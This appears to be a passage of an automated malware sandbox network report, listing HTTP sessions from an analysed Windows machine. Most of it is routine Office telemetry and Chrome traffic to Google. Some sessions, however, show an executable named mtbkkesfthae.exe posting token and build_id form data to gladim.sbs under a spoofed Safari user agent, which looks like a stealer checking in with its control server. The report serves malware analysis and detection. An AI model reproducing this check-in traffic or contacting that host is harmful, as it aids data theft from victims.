2024-12-02 00:34:13 UTC	318	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKFBAECBAEGDGDHIEHI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6 Host: gladim.sbs Content-Length: 7189 Connection: Keep-Alive Cache-Control: no-cache
2024-12-02 00:34:13 UTC	7189	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 38 64 32 64 30 61 38 34 37 37 39 36 36 32 64 66 62 66 66 34 35 34 32 61 31 31 30 62 33 35 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 64 35 64 37 35 30 34 32 39 63 66 33 30 39 64 63 34 61 35 62 65 34 62 66 34 32 32 62 33 63 33 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 0d 0a 43 6f 6e 74 Data Ascii: ------CBKFBAECBAEGDGDHIEHIContent-Disposition: form-data; name="token"b08d2d0a84779662dfbff4542a110b35------CBKFBAECBAEGDGDHIEHIContent-Disposition: form-data; name="build_id"7d5d750429cf309dc4a5be4bf422b3c3------CBKFBAECBAEGDGDHIEHICont
2024-12-02 00:34:14 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 02 Dec 2024 00:34:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-02 00:34:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.7	49709	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:15 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:15 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:15 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 748acc8f-d01e-0082-56a3-42e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003415Z-174f7845968j6t2phC1EWRcfe800000013x00000000056k9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:15 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.7	49712	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:15 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:15 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:15 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 6eac4bdd-a01e-006f-1c91-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003415Z-174f78459688l8rvhC1EWRtzr00000000g7g00000000dwy1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:15 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.7	49710	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:15 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:15 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:15 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 663f4ef8-b01e-0053-4c19-44cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003415Z-174f7845968frfdmhC1EWRxxbw00000013q000000000df75 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 00:34:15 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.7	49708	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:15 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:15 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:15 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 4b7a9d83-201e-000c-6905-4179c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003415Z-174f7845968pght8hC1EWRyvxg00000006sg00000000f1kp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:15 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49707	94.130.210.71	443	1548	C:\Users\user\Desktop\mtbkkesfthae.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:16 UTC	317	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKEHDBAEGIIIEBGCAAFH User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6 Host: gladim.sbs Content-Length: 489 Connection: Keep-Alive Cache-Control: no-cache
2024-12-02 00:34:16 UTC	489	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 38 64 32 64 30 61 38 34 37 37 39 36 36 32 64 66 62 66 66 34 35 34 32 61 31 31 30 62 33 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 64 35 64 37 35 30 34 32 39 63 66 33 30 39 64 63 34 61 35 62 65 34 62 66 34 32 32 62 33 63 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 Data Ascii: ------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="token"b08d2d0a84779662dfbff4542a110b35------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="build_id"7d5d750429cf309dc4a5be4bf422b3c3------KKEHDBAEGIIIEBGCAAFHCont
2024-12-02 00:34:17 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 02 Dec 2024 00:34:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-02 00:34:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.7	49711	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:16 UTC	192	OUT	GET /rules/rule120100v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:16 UTC	492	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:16 GMT Content-Type: text/xml Content-Length: 1000 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB097AFC9" x-ms-request-id: 6584919e-f01e-0003-06a3-3f4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003416Z-174f7845968j6t2phC1EWRcfe800000013w00000000072f3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 00:34:16 UTC	1000	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 31 30 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 32 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 52 65 73 75 6d 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 49 20 54 3d 22 33 22 20 49 3d 22 33 30 73 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 35 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120100" V="3" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <A T="2" E="TelemetryResume" /> <TI T="3" I="30s" /> <R T="4" R="120100" /> <TH T="5">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49717	172.217.21.36	443	7204	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:17 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-02 00:34:19 UTC	1266	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:18 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-c2Kk4svpBFCKmTRJ_uC4Ag' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-02 00:34:19 UTC	124	IN	Data Raw: 64 31 31 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 68 6f 6e 65 79 20 70 61 63 6b 65 74 73 20 6d 65 61 6e 69 6e 67 22 2c 22 70 68 6f 65 6e 69 78 20 73 75 6e 73 22 2c 22 6c 61 6e 64 6d 61 6e 20 70 61 72 61 6d 6f 75 6e 74 20 70 6c 75 73 22 2c 22 72 6f 62 6c 6f 78 20 62 6c 75 65 20 6c 6f 63 6b 20 72 69 76 61 6c 73 20 63 6f 64 65 73 22 2c 22 63 61 73 68 20 61 70 70 20 73 65 74 Data Ascii: d11)]}'["",["honey packets meaning","phoenix suns","landman paramount plus","roblox blue lock rivals codes","cash app set
2024-12-02 00:34:19 UTC	1390	IN	Data Raw: 74 6c 65 6d 65 6e 74 20 64 65 74 61 69 6c 73 22 2c 22 6f 61 68 75 20 6e 6f 72 74 68 20 73 68 6f 72 65 20 77 61 76 65 73 22 2c 22 62 6f 73 74 6f 6e 20 72 65 64 20 73 6f 78 20 6a 75 61 6e 20 73 6f 74 6f 22 2c 22 70 61 6c 77 6f 72 6c 64 20 75 70 64 61 74 65 20 70 73 35 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 64 65 74 61 69 6c 22 3a Data Ascii: tlement details","oahu north shore waves","boston red sox juan soto","palworld update ps5"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":
2024-12-02 00:34:19 UTC	1390	IN	Data Raw: 33 4d 57 46 30 4e 58 68 78 57 58 5a 49 4d 32 67 79 4d 48 4a 32 64 57 45 31 57 6b 31 44 62 48 4e 79 56 31 4a 49 56 6a 56 69 62 48 4e 72 4b 30 5a 54 55 45 78 6c 63 57 70 59 55 6b 46 36 63 45 78 7a 5a 44 68 75 59 31 56 77 4e 30 39 59 4d 44 4e 46 53 6c 42 7a 62 48 64 44 54 47 78 57 65 55 4e 48 4d 55 56 6e 5a 57 52 68 53 31 52 6f 63 32 68 50 64 56 52 4d 52 54 6c 68 61 57 4e 57 52 6a 42 36 63 46 6c 32 4b 7a 4a 32 63 6b 4a 44 53 6d 34 77 57 47 78 56 64 6d 4e 36 56 47 70 45 5a 32 5a 4a 56 6d 56 51 52 47 52 30 56 32 63 77 52 32 45 79 61 31 56 68 56 6c 67 31 51 32 78 6a 55 55 74 6e 51 7a 51 34 55 6b 67 78 62 32 4e 72 61 57 64 6a 64 30 74 4c 5a 47 52 31 5a 44 52 47 57 53 74 55 54 47 31 78 56 58 4e 4e 4d 48 70 73 65 58 56 75 55 46 46 75 62 46 63 77 53 33 64 51 53 48 Data Ascii: 3MWF0NXhxWXZIM2gyMHJ2dWE1Wk1DbHNyV1JIVjVibHNrK0ZTUExlcWpYUkF6cExzZDhuY1VwN09YMDNFSlBzbHdDTGxWeUNHMUVnZWRhS1Roc2hPdVRMRTlhaWNWRjB6cFl2KzJ2ckJDSm4wWGxVdmN6VGpEZ2ZJVmVQRGR0V2cwR2Eya1VhVlg1Q2xjUUtnQzQ4Ukgxb2NraWdjd0tLZGR1ZDRGWStUTG1xVXNNMHpseXVuUFFubFcwS3dQSH
2024-12-02 00:34:19 UTC	448	IN	Data Raw: 45 63 77 55 30 52 4c 63 33 46 4c 62 7a 42 5a 55 46 46 54 65 54 42 75 54 56 4d 34 62 45 35 36 52 6b 31 76 55 30 4e 34 53 33 70 4e 4d 48 5a 36 55 33 52 53 53 30 31 6e 63 45 78 52 57 55 45 35 59 30 31 4f 57 56 46 77 45 77 5c 75 30 30 33 64 5c 75 30 30 33 64 22 2c 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 72 65 6c 65 76 61 6e 63 65 22 3a 5b 31 32 35 37 2c 31 32 35 36 2c 31 32 35 35 2c 31 32 35 34 2c 31 32 35 33 2c 31 32 35 32 2c 31 32 35 31 2c 31 32 35 30 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 73 75 62 74 79 70 65 Data Ascii: EcwU0RLc3FLbzBZUFFTeTBuTVM4bE56Rk1vU0N4S3pNMHZ6U3RSS01ncExRWUE5Y01OWVFwEw\u003d\u003d","zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtype
2024-12-02 00:34:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49716	172.217.21.36	443	7204	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:17 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49719	172.217.21.36	443	7204	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:17 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-02 00:34:18 UTC	1018	IN	HTTP/1.1 200 OK Version: 700238841 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 02 Dec 2024 00:34:18 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-02 00:34:18 UTC	372	IN	Data Raw: 32 30 63 61 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 20ca)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
